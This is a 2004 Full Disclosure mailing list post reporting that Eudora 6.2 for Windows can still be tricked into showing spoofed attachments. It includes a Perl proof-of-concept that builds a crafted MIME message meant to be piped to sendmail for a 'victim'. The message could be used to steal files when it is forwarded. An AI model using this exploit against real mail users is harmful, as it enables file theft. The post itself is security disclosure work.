Full Disclosure mailing list archives
Eudora 6.2 attachment spoof
From: psz () maths usyd edu au (Paul Szabo)
Date: Sun, 14 Nov 2004 05:23:28 +1100 (EST)
Eudora 6.2 (==6.2.0.14) for Windows was released on 8 Nov 04. The release notes http://www.eudora.com/download/eudora/windows/6.2/RelNotes.txt say:
SECURITY -------- Fixed cases where attachments could be spoofed via base64 or quoted-printable encoded (plain-text, inline) MIME parts.
Some cases remain un-fixed, as Eudora developers know and admit privately. One such example below. Cheers, Paul Szabo - psz () maths usyd edu au http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia #!/usr/bin/perl -- use MIME::Base64; print "From: me\n"; print "To: you\n"; print "Subject: Eudora 6.2 on Windows spoof\n"; print "MIME-Version: 1.0\n"; print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; print "--zzz\n"; print "Content-Type: text/plain\n"; print "Content-Transfer-Encoding: 7bit\n\n"; print "With spoofed attachments, we could 'steal' files if the message was forwarded (not replied to). Get a warning when stealing arbitrary files, but no warning when stealing 'attach\\existing' attachments.\n"; print "\n--zzz\n"; print "Content-Type: text/plain; name=\"b1.txt\"\n"; print "Content-Transfer-Encoding: base64\n"; print "Content-Disposition: inline; filename=\"b1.txt\"\n\n"; $z = "Within base64 encoded, use missing linebreak. Part 1 ...\r AttachmenXX"; print encode_base64($z); print "\n--zzz\n"; print "Content-Type: text/plain; name=\"b2.txt\"\n"; print "Content-Transfer-Encoding: base64\n"; print "Content-Disposition: inline; filename=\"b2.txt\"\n\n"; $z = "t Converted: \"c:\\winnt\\system32\\calc.exe\"\r ... part 2\r BTW, the above shows a parsing bug: missing two characters.\r \r\n"; print encode_base64($z); print "\n--zzz--\n"; _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Eudora 6.2 attachment spoof Paul Szabo (Nov 13)
- Re: Eudora 6.2 attachment spoof Steve Dorner (Nov 15)
- Re: Re: Eudora 6.2 attachment spoof KF_lists (Nov 15)
- Re: Re: Eudora 6.2 attachment spoof Valdis . Kletnieks (Nov 17)
- Re: Re: Eudora 6.2 attachment spoof KF_lists (Nov 15)
- Re: Eudora 6.2 attachment spoof Steve Dorner (Nov 15)